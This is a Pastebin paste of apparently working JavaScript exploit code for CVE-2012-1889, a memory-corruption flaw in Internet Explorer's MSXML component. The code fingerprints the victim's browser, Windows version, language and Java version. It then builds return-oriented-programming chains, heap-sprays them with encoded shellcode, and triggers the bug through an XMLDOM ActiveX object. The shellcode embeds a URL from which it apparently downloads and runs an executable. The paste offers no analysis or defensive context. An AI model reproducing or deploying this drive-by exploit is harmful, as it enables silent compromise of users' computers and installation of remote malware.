Advertisement
eromang

CVE-2012-1889

Dec 27th, 2012
317
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function int_to_hex(dword)
  2.         {
  3.             var d=Number(dword).toString (16);
  4.             while(d.length<8) d='0'+d;
  5.             return unescape('%u'+d.substr(4,8)+'%u'+d.substr(0,4));
  6.         };
  7.        
  8.        
  9.         function build_block(s)
  10.         {
  11.             var endtag = unescape("AA");
  12.        
  13.             var len = 0x10000 - (s.length *2 + endtag.length * 2);
  14.             var b = "11";
  15.             while(b.length < len) b += b;
  16.             var block = b.substring(0, len / 2);
  17.             block = s + block + endtag;
  18.        
  19.             var bigblock = "";
  20.             for (var i=0; i < 8; i++) bigblock += block;
  21.             bigblock = bigblock.substring(0, (0x80000-0x28)/2);
  22.            
  23.             return bigblock
  24.         }
  25.        
  26.         function is_java_16()
  27.         {
  28.             var java_ver = deployJava.getJREs();
  29.             var java7 = java_ver.toString().indexOf('1.7');
  30.             var java6 = java_ver.toString().indexOf('1.6');
  31.             if (java7 == -1 && java6 != -1) return true; else return false;
  32.         }
  33.        
  34.         function is_win7()
  35.         {
  36.             return navigator.userAgent.toLowerCase().indexOf("windows nt 6.1") > 0;
  37.         }
  38.        
  39.         function is_xp()
  40.         {
  41.             return navigator.userAgent.toLowerCase().indexOf("windows nt 5.1") > 0;
  42.         }
  43.        
  44.         function is_ie9()
  45.         {
  46.             return navigator.userAgent.toLowerCase().indexOf("msie 9") > 0;
  47.         }
  48.        
  49.         function language()
  50.         {
  51.             // zh-cn, en-us
  52.             return navigator.browserLanguage;
  53.         }
  54.        
  55.         function build_rop_stack(spraybase)
  56.         {
  57.             var heapspray = "";
  58.        
  59.             if (is_xp())
  60.             {
  61.                 var msvcrt_base = 0x77C10000;  // en-us
  62.  
  63.                 switch (language())
  64.                 {
  65.                 case "en-us":
  66.                     msvcrt_base = 0x77C10000; break;
  67.                 case "zh-cn":
  68.                 case "zh-tw":
  69.                     msvcrt_base = 0x77BE0000; break;
  70.                 case "ko":
  71.                 case "ja":
  72.                     msvcrt_base = 0x77BC0000; break;
  73.                 default: break;
  74.                 }
  75.  
  76.                 heapspray = ""
  77.                 + int_to_hex(msvcrt_base+0x000116ec)        // 0  <-- vtbl
  78.                 + int_to_hex(0x44444444)                    // 4
  79.                 + int_to_hex(msvcrt_base+0x00005ed5)        // 8  -- second call (call [ecx+8])
  80.                 + int_to_hex(msvcrt_base+0x00005ed6)        // c
  81.  
  82.                 + int_to_hex(msvcrt_base+0x00005ed6)        // 10
  83.                 + int_to_hex(msvcrt_base+0x00005ed6)        // 14
  84.                 + int_to_hex(msvcrt_base+0x00005ed6)        // 18 -- first call   (call [ecx+18])
  85.                 + int_to_hex(msvcrt_base+0x000144c6)        // 1c
  86.  
  87.                 + int_to_hex(msvcrt_base+0x00001104)        // 20
  88.                 + int_to_hex(msvcrt_base+0x000144c3)        // 24
  89.                 + int_to_hex(spraybase)                     // 28
  90.                 + int_to_hex(msvcrt_base+0x00012a18)        // 2c
  91.  
  92.                 + int_to_hex(spraybase+0x90)    // 30  -- 90 is sizeof heapspray
  93.                 + int_to_hex(spraybase)         // 34
  94.                 + int_to_hex(0x00005500)        // 38
  95.                 + int_to_hex(0x00001000)        // 3c
  96.  
  97.                 + int_to_hex(0x00000040)        // 40
  98.                 + int_to_hex(spraybase+0x34)    // 44
  99.                 + int_to_hex(spraybase)         // 48
  100.                 + int_to_hex(spraybase)         // 4c
  101.  
  102.                 + int_to_hex(spraybase)         // 50
  103.                 + int_to_hex(spraybase)         // 54
  104.                 + int_to_hex(spraybase)         // 58
  105.                 + int_to_hex(spraybase)         // 5c
  106.  
  107.                 + int_to_hex(spraybase)         // 60
  108.                 + int_to_hex(spraybase)         // 64
  109.                 + int_to_hex(spraybase)         // 68
  110.                 + int_to_hex(spraybase)         // 6c
  111.  
  112.                 + int_to_hex(spraybase)         // 70  <-- obj
  113.                 + int_to_hex(spraybase)         // 74
  114.                 + int_to_hex(spraybase)         // 78
  115.                 + int_to_hex(spraybase)         // 7c
  116.  
  117.                 + int_to_hex(spraybase)         // 80
  118.                 + int_to_hex(spraybase)         // 84
  119.                 + int_to_hex(spraybase)         // 88
  120.                 + int_to_hex(spraybase)         // 8c
  121.                 ;
  122.             }
  123.             else if(is_win7() && is_java_16())
  124.             {
  125.                 heapspray = ""
  126.                 + int_to_hex(0x7C3425B5)        // 0  <-- vtbl
  127.                 + int_to_hex(0x44444444)        // 4
  128.                 + int_to_hex(0x7c348b05)        // 8  -- second call (call [ecx+8])
  129.                 + int_to_hex(0x7C3425B7)        // c
  130.        
  131.                 + int_to_hex(0x7C3425B7)        // 10
  132.                 + int_to_hex(0x7C3425B7)        // 14
  133.                 + int_to_hex(0x7C3425B7)        // 18 -- first call   (call [ecx+18])
  134.                 + int_to_hex(0x7C3425B7)        // 1c
  135.        
  136.                 + int_to_hex(0x7c34c611)        // 20
  137.                 + int_to_hex(0x7c37a030)        // 24
  138.                 + int_to_hex(0x7c34c60e)        // 28
  139.                 + int_to_hex(spraybase)            // 2c
  140.        
  141.                 + int_to_hex(0x7c34888f)        // 30  -- 90 is sizeof heapspray
  142.                 + int_to_hex(spraybase+0x90)    // 34
  143.                 + int_to_hex(spraybase)            // 38
  144.                 + int_to_hex(0x00005500)        // 3c
  145.        
  146.                 + int_to_hex(0x00001000)        // 40
  147.                 + int_to_hex(0x00000040)        // 44
  148.                 + int_to_hex(spraybase)            // 48
  149.                 + int_to_hex(spraybase)            // 4c
  150.        
  151.                 + int_to_hex(spraybase)            // 50
  152.                 + int_to_hex(spraybase)            // 54
  153.                 + int_to_hex(spraybase)            // 58
  154.                 + int_to_hex(spraybase)            // 5c
  155.        
  156.                 + int_to_hex(spraybase)            // 60
  157.                 + int_to_hex(spraybase)            // 64
  158.                 + int_to_hex(spraybase)            // 68
  159.                 + int_to_hex(spraybase)            // 6c
  160.        
  161.                 + int_to_hex(spraybase)            // 70  <-- obj
  162.                 + int_to_hex(spraybase)            // 74
  163.                 + int_to_hex(spraybase)            // 78
  164.                 + int_to_hex(spraybase)            // 7c
  165.        
  166.                 + int_to_hex(spraybase)            // 80
  167.                 + int_to_hex(spraybase)            // 84
  168.                 + int_to_hex(spraybase)            // 88
  169.                 + int_to_hex(spraybase)            // 8c
  170.                 ;
  171.             }
  172.             else
  173.             {
  174.                 throw "not supported!";
  175.             }
  176.        
  177.             return heapspray;
  178.         }
  179.        
  180.        
  181.         spraybase = 0x11110024;
  182.         if (is_ie9()) spraybase = 0x11110010;
  183.        
  184.         var shellcode = unescape("%u9090%u9090%uD2E9%u0000%u5F00%uA9E8%u0000%u8B00%u8BE8%u6AF7%u5905%u58E8%u0000%uE200%u68F9%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uE88B%u016A%uE859%u003F%u0000%uF9E2%u38E8%u0000%u8100%u00EC%u0002%u8B00%u53DC%u0068%u0002%uFF00%u0456%u04C7%u5C03%u2E61%uC765%u0344%u7804%u0065%u3300%u50C0%u5350%u5057%u56FF%u8B14%u50DC%uFF53%u0856%u006A%uFF6A%u56FF%u510C%u8B56%u3C75%u748B%u782E%uF503%u8B56%u2076%uF503%uC933%u4149%u03AD%u33C5%u0FDB%u10BE%uD63A%u0874%uCBC1%u030D%u40DA%uF1EB%u1F3B%uE775%u8B5E%u245E%uDD03%u8B66%u4B0C%u5E8B%u031C%u8BDD%u8B04%uC503%u5EAB%uC359%u5651%u3357%u64C9%u358B%u0030%u0000%u768B%u8B0C%u1C76%u468B%u8B08%u207E%u368B%u4F38%u7518%u5FF3%u595E%uE8C3%uFF29%uFFFF%u4E8E%uEC0E%uCA33%u5B8A%uFE98%u0E8A%uB983%u78B5%uC61B%u7946%u1A36%u702F%u1A4C%u702F%u7468%u7074%u2F3A%u772F%u7777%u642E%u6169%u6962%u336F%u632E%u6D6F%u642F%u652E%u6578%u0000");
  185.        
  186.         var heapspray = build_rop_stack(spraybase);
  187.         heapspray += shellcode;
  188.        
  189.         bigblock = build_block(heapspray);
  190.         var blocks = new Array();
  191.         for(var i = 0; i < 2 * 300; i++)
  192.             blocks[i] = [bigblock].join("");
  193.        
  194.         /////////////////////////////////////////////////////////////////////////
  195.        
  196.         var src = int_to_hex(spraybase+0x70);
  197.         while (src.length < 0x1002) src += src;
  198.         src = "\\\\xxx" + src;
  199.         src = src.substr(0, 0x1000 - 10);
  200.         var pic = document.createElement("img");
  201.         pic.src = src;
  202.        
  203.        
  204.        
  205.         var obj = null;
  206.         obj = new ActiveXObject("Microsoft.XMLDOM");
  207.         for(var i=0; i<100; i++)
  208.         {
  209.             pic.nameProp;
  210.             obj.definition(0);
  211.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement